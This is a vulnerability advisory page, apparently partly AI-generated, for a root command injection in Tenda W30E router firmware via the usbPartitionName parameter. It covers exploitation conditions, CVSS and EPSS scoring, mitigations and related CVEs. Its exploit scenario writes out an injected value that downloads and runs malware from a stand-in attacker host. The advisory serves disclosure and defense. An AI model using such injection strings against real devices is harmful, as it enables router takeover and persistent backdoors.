Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessGain LAN/WAN access to router
-
DeliverySend crafted HTTP POST to formSetUSBPartitionUmount
-
ExploitInject shell commands in usbPartitionName parameter
-
ExecutionExecute commands as root
-
PersistInstall persistent backdoor
-
ImpactFull router compromise
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires network-level access to the Tenda W30E router's web management interface-this is the critical limiting factor. Default Tenda configurations typically restrict management access to LAN interfaces only (not WAN-accessible), meaning attackers must already have compromised an internal network device, gained physical proximity for Wi-Fi access, or target routers with non-default configurations exposing management to the internet. The formSetUSBPartitionUmount function must be accessible, which requires the USB storage management feature to be enabled in the router firmware (present by default in this firmware version). No authentication is required per CVSS PR:N once network access is achieved, and no user interaction is needed. The vulnerability does NOT work against default configurations from external internet positions unless the administrator has explicitly enabled remote management on the WAN interface, which significantly reduces practical attack surface for most deployments. |
| Impact | This vulnerability presents a critical theoretical risk with CVSS 9.8 scoring based on network attack vector (AV:N), low complexity (AC:L), no privileges required (PR:N), and no user interaction (UI:N), enabling complete system compromise (C:H/I:H/A:H). However, real-world risk is substantially lower than CVSS suggests: EPSS score of 0.17% (38th percentile) indicates minimal observed attacker interest, likely because Tenda W30E has limited market deployment compared to enterprise-grade equipment. No CISA KEV listing confirms this is not yet exploited in campaigns affecting US critical infrastructure. The vulnerability requires the router's web management interface to be accessible from the attack position-while technically 'network' accessible, most consumer routers have management interfaces on LAN-only by default, limiting practical exploitation to already-compromised internal networks or misconfigured WAN-exposed interfaces. SSVC framework suggests 'scheduled' patching priority: technical impact is total system control, but exploitation automation is straightforward only for already-network-positioned attackers. Key uncertainty: researcher disclosure lacks detail on whether management interface must be exposed to WAN or if exploitation works from LAN segments, which dramatically changes realistic attack surface. |
| Exploit ScenarioDerived | An attacker on the same network segment as the Tenda W30E router (or with WAN access if management interface is exposed) crafts an HTTP POST request to the formSetUSBPartitionUmount endpoint, injecting shell metacharacters and malicious commands into the usbPartitionName parameter such as '; wget http://attacker.com/malware -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload ;'. The router executes these injected commands with root privileges, establishing a reverse shell or installing persistent backdoor firmware. Public proof-of-concept status is unclear from researcher disclosure, though technical details are sufficient for skilled attackers to develop working exploits. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 22, 2026
Command injection in Tenda W30E V2.0 firmware V16.01.0.21 allows remote unauthenticated attackers to execute arbitrary operating system commands as root through the formSetUSBPartitionUmount function by manipulating the usbPartitionName parameter. The vulnerability achieves maximum CVSS severity (9.8) due to network accessibility without authentication, though EPSS exploitation probability remains low (0.17%, 38th percentile), suggesting limited attacker interest at time of analysis. No active exploitation confirmed by CISA KEV, and public exploit code status is unverified from researcher disclosure.
RemediationAI
No vendor-released patch for Tenda W30E firmware V16.01.0.21 identified at time of analysis-check Tenda's official support site (tendacn.com or tendaus.com depending on region) for firmware updates newer than V16.01.0.21. Until patching: (1) Ensure web management interface is disabled on WAN interface or restrict access to trusted IP ranges only via firewall rules-this prevents remote exploitation but breaks remote management capability. (2) Place affected routers behind additional firewall layers and limit management access to isolated admin VLANs-adds network segmentation overhead. (3) Disable USB storage features entirely if not operationally required, removing the vulnerable code path-eliminates USB functionality. (4) For high-security environments, consider replacing device with enterprise-grade equipment from vendors with established vulnerability disclosure programs. Monitor Tenda's support channels and the original researcher disclosure at https://github.com/jsjbcyber/repo/blob/main/rep_2.md for updates on patch availability.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects the Tenda W30E wireless router's USB partition management functionality, specifically in firmware version V16.01.0.21 for hardware V2.0. The root cause is CWE-77 (Command Injection), where the formSetUSBPartitionUmount function fails to properly sanitize the usbPartitionName parameter before passing it to underlying system calls. When processing USB unmount requests through the web management interface, unsanitized user input flows directly into shell command execution contexts, allowing injection of arbitrary commands with the privileges of the router's web server process (typically root on embedded devices). This class of vulnerability is common in SOHO router firmware where rapid development cycles and limited security review create gaps in input validation for system administration functions.
Know when Tenda gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
2DescriptionCVE.org
Tenda W30E V2.0 V16.01.0.21 was found to contain a command injection vulnerability in the formSetUSBPartitionUmount function via the usbPartitionName parameter. This vulnerability allows attackers to execute arbitrary commands via a crafted request.
Executive ViewAI
Tenda W30E V2.0 routers running firmware V16.01.0.21 are vulnerable to unauthenticated remote command injection that allows attackers to execute arbitrary commands with root privileges through a USB partition function. This affects network edge devices handling critical data flows, and the lack of authentication requirements means any internet-connected attacker can attempt exploitation without credentials.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) restrict WAN access to Tenda W30E V2.0 devices via firewall rules blocking remote connections to the affected firmware version; (2) isolate USB partition management functions from untrusted networks; (3) implement network segmentation to prevent compromised routers from accessing sensitive systems; (4) monitor for firmware updates from Tenda and apply immediately upon release; (5) consider temporary device replacement or deactivation if CISO risk tolerance does not permit operational exposure pending patch availability.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Tenda ONT GPON AC1200 Dual band WiFi HG9 v1.0.1 is vulnerable to Command Injection via the Ping function. Rated high sev
Mediabridge Medialink MWN-WAPR300N devices with firmware 5.07.50 and Tenda N3 Wireless N150 devices allow remote attacke
The Shenzhen Tenda Technology Tenda A5s router with firmware 3.02.05_CN allows remote attackers to bypass authentication
Tenda AC9 v15.03.05.14 was discovered to contain a command injection vulnerability via the Telnet function. Rated critic
In Tenda AC9 v1.0 V15.03.05.14_multi, the wanMTU parameter of /goform/AdvSetMacMtuWan has a stack overflow vulnerability
Tenda AC9 V15.03.06.42_multi was found to contain a command injection vulnerability in the formSetSambaConf function via
Tenda AC9 V15.03.06.42_multi was found to contain a command injection vulnerability in the formsetUsbUnload function via
Tenda AC23 v16.03.07.44 was discovered to contain a buffer overflow via fromAdvSetMacMtuWan. Rated critical severity (CV
Tenda AC15 v15.03.05.19 is vulnerable to Command Injection via the handler function in /goform/telnet. Rated critical se
Tenda AX1803 v1.0.0.1 was discovered to contain a command injection vulnerability via the function fromAdvSetLanIp. Rate
Tenda AX3 v16.03.12.11 was discovered to contain a remote code execution (RCE) vulnerability via the list parameter at /
Certain Tenda products are vulnerable to command injection. Rated critical severity (CVSS 9.8), this vulnerability is re
EUVD-2026-24163
GHSA-656r-ggpg-wmqm
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB